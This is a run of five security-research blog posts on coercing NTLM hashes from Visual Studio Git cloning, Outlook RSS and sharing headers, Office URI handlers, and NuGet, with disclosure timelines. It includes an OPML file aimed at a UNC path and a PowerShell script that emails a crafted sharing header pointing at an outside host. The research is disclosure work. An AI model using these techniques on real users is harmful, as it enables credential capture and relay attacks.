tl;dr Microsoft Visual Studio contains a won’t-fix NTLM hash leak when repositories are cloned from untrusted sources, including GitHub. By hosting a malicious repository on a server that requires authentication, which may be included in other repositories as a Git submodule, it would be possible to coerce or obtain the hashes of anyone cloning the repository. Introduction This is part five of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series. Visual Studio Visual Studio is Microsoft’s own Integrated Development Environment (IDE), mainly used by developers for creating .NET-based applications. It was first released in 1997 and has received steady updates to this day. After discovering a different issue in Visual Studio to do with the Nuget package manager, we decided to come back to it and have a second look for bugs. One thing that Visual Studio supports, like most modern IDEs, is the ability to clone a remote repository via Git. When the application launches without an active project configured, a dialog box is presented with the option to Git clone a repo. As we were looking for more NTLM hash leak vulnerabilities, we thought “how does it work when it needs credentials?” Git (but for Windows) Usually when people use Git, they either use a username and password to authenticate, or more likely an SSH key. But because Git (and Visual Studio) are often used in large organisations, it needs to support other forms of authentication like NTLM. How does Git know when to use NTLM to authenticate? Weirdly, it doesn’t use a command line flag or a config file. Instead, when a user attempts to Git clone from a NTLM-authenticated source the user just needs to specify an empty username and password. This then, of course, sends the NTLM hash to the awaiting server. Git Credential Manager But how does it work from a GUI? Surely a user doesn’t need to enter their credentials every time? This is where Git Credential Manager (GCM) comes in. Git Credential Manager was written by Microsoft (now maintained by GitHub, who are now owned by Microsoft) for this exact purpose: figuring out what connects to where, when. It stores usernames and passwords in the user’s .gitconfig file for connecting to different Git servers. You’d think that when connecting to an NTLM-authenticated source it would store a flag indicating that it should use NTLM when connecting to it, right? Well, as mentioned before, you use a blank username and password when connecting to the server and then Git will handle the rest. And so GCM will store a blank username and password in the .gitconfig file, and it will do it automatically on first contact (i.e. on Git clone). GCM in Visual Studio You may see where this becomes a bit of an issue. When you Git clone a repository from Visual Studio it will hand off to Git and GCM. GCM sees that the server hasn’t got any credentials configured for it and passes a blank username and password to Git. Git sees the blank username and password and uses the default Windows credentials. This then sends off a Net-NTLMv2 hash to the awaiting Git server. As Visual Studio also passes `--recursive` to Git as it clones, this works within submodules. An attacker could hide a malicious Git submodule inside of a repository, such as within a popular GitHub repository, and any user who clones that repository will leak their credentials to the attacker’s server. This behaviour also happens in Git-powered packages managers, such as VCPKG, which is unlikely unintended behaviour and similar to the Nuget package manager issue we found. Reproduction steps
These are the steps that take place in the video
Disclosure timeline
tl;dr By leveraging sharing headers within Outlook, as with the CVE bypass we discovered, it was possible to create a Net-NTLMv2 hash leak in Outlook with one click, no warnings. Introduction This is part four of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series (link) What is RSS? If you remember the internet in the mid to late 2000s, you probably remember RSS. If you don’t, RSS (which stands for RDF Site Summary or Really Simple Syndication, depending on who you ask) is a thing on websites that allows users and applications to access updates to websites in a computer-readable format (XML). News sites and blogs publish the RSS feeds, and then RSS reader programs would periodically fetch the feeds and display them to the user. RSS in Outlook In 2007, around about the same time as RSS was popular, Microsoft added RSS reader functionality to Outlook. Because Microsoft never removes functionality, Outlook still has this capability today. RSS feeds can be added in three ways:
The vulnerabilities We first poked around with RSS by messing with the OPML file format. OPML, or Outline Processor Markup Language, is yet another XML file format. It can be used to create a list of RSS feeds to subscribe to, which can be useful in cases such as exporting feeds from one reader when switching to another. We tried creating a .opml file with the following contents: <?xml version="1.0" encoding="UTF-8"?> <opml version="1.0"> <head> <title>Sample OPML File</title> </head> <body> <outline text="My RSS Feeds"> <outline text="Tech News" type="rss" xmlUrl="\\\\192.168.178.74\\" /> <!-- Add more RSS feed outlines as needed --> </outline> </body> </opml> Double-clicking this file opened Outlook and... it didn’t work. But back in part two (link) we learned about redirecting HTTP traffic to SMB. We changed the `xmlUrl` value to point to a HTTP redirector and this time it worked! Outlook successfully followed the redirect and leaked a Net-NTLMv2 hash. This issue was then disclosed to the MSRC team. While waiting for a response, we investigated if there were any other ways of getting Outlook to leak a hash via RSS. In the previous post we learned about the URI handlers that Outlook supports, which includes the `feed:` URI. By combining it with the `x-sharing-config-url:` email header from part 2 we can generate an email that prompts users to add an RSS feed to Outlook. As soon as they click the “Add this RSS Feed” button, their Net-NTLMv2 hash is leaked. Fun sidenote: you can include images in CDATA tags once the feed has been imported.
Reproduction steps We provided the following PowerShell script to MS to assist with reproduction: # Create an instance of the Outlook Application $outlook = New-Object -ComObject Outlook.Application # Create a new mail item $mail = $outlook.CreateItem(0) # Set the subject of the email $mail.Subject = "Sharing Email with Custom Headers" # Set the recipients (you can add multiple recipients separated by semicolons) $mail.Recipients.Add("[email protected]") # Set the body of the email $mail.Body = "This is the body of the email." # Add custom headers $mail.PropertyAccessor.SetProperty("http://schemas.microsoft.com/mapi/string/{00020386-0000-0000-C000-000000000046}/x-sharing-config-url", "feed://privsec.nz/test.xml") $mail.PropertyAccessor.SetProperty("http://schemas.microsoft.com/mapi/string/{00020386-0000-0000-C000-000000000046}/Content-Class", "Sharing") # Send the email $mail.Send() # Display a confirmation message Write-Host "Email sent successfully." Disclosure timeline 08 May 2024: Reported to the MSRC 11 May 2024: Case opened by the MSRC 30 May 2024: Accepted as a vulnerability by MSRC but ‘Moderate’ so case closed August 2024: Disclosed at DEFCON32 tl;dr By leveraging Microsoft Office URI (Uniform Resource Identifier) handlers, it was possible to obtain a Net-NTLM-v2 (New Technology LAN Manager) hash from a victim after they clicked a single link in an email. This was patched by Microsoft in the August 2024 Patch Tuesday and CVE-2024-38200 was issued. Introduction This is part three of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series. URI Handlers URI (Uniform Resource Identifier) schemes are small strings that identify a source of data or something for a program to load. Well known URIs include schemes such as `file://`, `http://`, `https://`, which when clicked, load the program associated with the URI scheme. In the case of `http` or `https`, the operating system will know to load the browser and fetch the content at the provided URL, and in the case of the `file://` URI scheme, the file explorer or similar may be loaded. The following Powershell (Administrator) one liner can be used to list all the installed handlers on Windows: Get-ChildItem -Path Registry::HKEY_CLASSES_ROOT | where Property -CContains "URL Protocol" | % { $_.ToString().Split('\')[1] } When Microsoft Office is installed on a Windows computer, several registry entries are made that associate the Office URI schemes to an associated program:
In this case `ofv` stands for Open for Viewing, and the `u` specifies the URL of the resource to fetch. Clicking a hyperlink or anchor tag with this URI handler from within a browser will prompt the following dialog box: Microsoft security controls As with previous testing, we found that Microsoft would frequently provide a warning dialog, if you were about to do something fun and/or dangerous. In the case of the URI handlers, within a browser, there would be a prompt asking if you would like to open the selected Office program. This is expected behaviour, as the security boundary shifts from the browser to the program that is associated with the URI scheme. In the case of Microsoft Office products, this means that macros will not be loaded, and neither will external resources. These are security protections designed to prevent malicious exploits from happening within these programs. However, after enumerating and testing various URI handler interactions within Outlook, it was found that by emailing a hyperlink with an office URI handler, there would be no dialog prompt. The URI handler would immediately open whichever Office program was specified and attempt to fetch the resource at the specified URL. As with previous HTTP interactions, no Net-NTLMv2 authentication would take place. By applying a 302 redirect (as with the CVE-2023-35636 bypass) it was possible to redirect from port 80 (HTTP) to port 445 (SMB) and capture the Net-NTLMv2 hash. Again, a small Python script (as in the previous blog) was used to perform the redirection. These network interactions would happen before any document was loaded, bypassing the intended security controls in both the browser and the Office program. The below video shows the flow: These are the steps that take place in the video:
tl;dr In 2023, Varonis Labs discovered (https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes) that a Net-NTLMv2 hash could be received from a victim by tricking them into opening a calendar in Outlook. CVE-2023-35636 was issued and was subsequently fixed in December 2023. By leveraging a technique commonly used in SSRF (Server-Side Request Forgery), and redirecting a HTTP request to a UNC path, we were able to bypass Microsoft’s fix and obtain a Net-NTLM-v2 hash. Microsoft patched this as part of the July 2024 Patch Tuesday and issued CVE-2024-38020 (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-38020). Introduction This is part two of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, please see our first blog post in this series (https://www.privsec.nz/releases/nuget-package-manager) Outlook Outlook is Microsoft’s email client, widely used throughout the world. It comes in multiple flavours and variants, from the Windows desktop client (classic), the browser client, to the (new) desktop client which is built using WebView 2. Outlook allows for sharing and receiving emails, calendars, invitations and other event and message types between different users of different organisations. Microsoft security controls The security controls Microsoft implement for externally provided content often take the form of a warning dialog box, letting the user know that if they choose to interact with external content that is not trusted they may be about to do something dangerous or fun. The vulnerability The original CVE (CVE-2023-35636) leveraged two headers that can be included in an email, which can be specified by the sender. Email headers are hidden parts of an email that can contain information about the sender, and how the message is routed and authenticated. The following Outlook-specific headers were used: Content-Class: x-sharing-config-url: When the value of `Content-Class` was set to “sharing”, this instructs Outlook that the received message is for sharing content. When the `x-sharing-config-url` was set to a file URL or UNC path containing an ICS (calendar) file, Outlook would helpfully format the top of the email with a call to action for the user to add the calendar to their own: This vulnerability was a one-click, no warning Net-NTLMv2 hash leaker, and was classed as Important and fixed in January 2024. The initial fix Microsoft added a dialog warning to any `x-sharing-config-url` that started with the `file:\\\` handler, letting the user know that by clicking the dialog they may be exposing themselves to risk: Bypassing the fix We noticed that Outlook was only popping up a dialog box on a UNC/File path link, and that HTTP connections were not providing the same warnings. This was a reasonable assumption for the fix, as Windows generally doesn’t send authentication on port 80/443 unless it is to a trusted location, such as an internal network. However, by reframing this problem to be more like a SSRF (Server-Side Request Forgery), we were able to apply a redirection technique, and subsequently capture a Net-NTLMv2 hash on port 445. Using a basic Python script, we would redirect any incoming web (HTTP) requests to a UNC path: This is a common technique in SSRF to bypass filter protections, or turn a web-only SSRF into a file read exploit, by forcing a protocol change from http:// to file:// The new flow can be roughly summarised below:
Reproduction steps To reproduce this issue, we have created the following PowerShell script that you are able to run on a Windows machine with Outlook installed: This issue was patched as part of July 2024 Patch Tuesday, and CVE-2024-38020 was assigned.
Disclosure timeline: 17 April 2024: Reported to the MSRC 18 April 2024: Case opened by the MSRC 27 April 2024: Further reproduction steps provided, including the above PowerShell script 30 April 2024: MSRC confirms that they are able to reproduce 17 May 2024: MSRC confirms that this vulnerability is classed as Important and will be sent for immediate servicing 18 May 2024: MSRC downgrades this issue to a Moderate. 09 July 2024: Patched as part of Patch Tuesday, CVE-2024-38020 assigned.
tl;dr
Earlier versions of Nuget Package Manager shipping with Visual Studio on Windows would leak a Net-NTLMv2 hash on port 80. This would happen on the Nuget Restore operation, which happens as soon as the project is cloned from a Git repo, or otherwise loaded. By poisoning a `nuget.config` file with an IP address of an attacker-controlled upstream repository, it would be possible to coerce or obtain the hashes of anyone cloning the repository. Introduction This is part one of a five-part blog post series focusing on NTLM-related research that was presented by two of our consultants, Tomais Williamson and Jim Rush, as part of the DEF CON 32 presentation (NTLM - the last ride) . After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun forcing authentication and hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. So, what is NTLM? NTLM stands for New Technology Lan Manager, and is the broad name given to the suite of protocols that have underpinned authentication within the Windows ecosystem for the last 30 or so years. In the context of this research, it’s a password hash; a hash being the result of turning a cleartext password (Winter2024!) into a mangled version of itself for transmission over a network, to avoid sending the cleartext password. While it is possible to brute-force weak passwords against known wordlists, the act of hashing a clear text string is like turning a cow into sausages – computationally expensive to get the cow back. However, in an internal Active Directory network, being able to coerce a password hash allows for a variety of relay attacks which do not involve cracking the password. These attacks can allow for user impersonation within an environment. While there are mitigations and steps administrators can take to help reduce this risk, NTLM relaying still presents an excellent way for a malicious actor to laterally move or otherwise pivot around a network. TrustedSec have a great and comprehensive blog post about the relaying attacks available: https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022 Now that we understand what an NTLM hash (or Net-NTLMV2) is, and how useful it can be to coerce them, let’s see what we can get them out of. Nuget Package Manager Nuget Package Manager (pronounced "New Get") is a package manager primarily used for packaging and distributing software written using .NET and the .NET Framework. Software packages are self-explanatory, reusable libraries of code that perform certain functions that developers can import into their own projects to save writing their own. How Nuget Stores Credentials As you can imagine, Nuget has some clear documentation surrounding secure storage of credentials. The credentials are recommended to be stored or encrypted and set using the `packageSourceCredentials` node in the `nuget.config` file. Passwords are encrypted by default and are intended to be specified on a per-repository basis, either directly from the command line or using environment variables. The documentation suggests that if a `packageSourceCredentials` node is not set or otherwise populated, Nuget should not pass credentials of any form to an upstream Nuget repository. However, it does, as we discovered. Getting a hash out of Nuget: We reported the below to the MSRC (Microsoft Security Research Centre) who deal with MS related vulnerabilities:
Despite all those technical words for the benefit of the MSRC, the bug is somewhat straightforward:
How this bug happened: ICredentials While trying to figure out the root cause for MS of why Nuget was leaking credentials, we quickly came across the ICredentials interface. This interface within .NET "provides the base authentication interface for retrieving credentials for Web client authentication". This interface provides the `GetCredential` method to objects that provide network credentials to applications and is used extensively throughout the Nuget codebase to handle authentication. Within Nuget, there was a logic error that caused the package manager to retry a request after a 401 response, with the subsequent fallback to the Net-NTLM-v2 hash of the current user being passed in the second attempt. Example `nuget.config` file The below is an example of a poisoned `nuget.config` file, which can be used to coerce the hashes of anyone cloning the repository in VS on Windows:
To reproduce this issue:
An example repository containing an example poisoned nuget.config file can be found here: https://github.com/JimSRush/NTLM_vanilla/blob/main/nuget.config Hello, could I have 500 of my coworkers' hashes please? Disclosure timeline:
|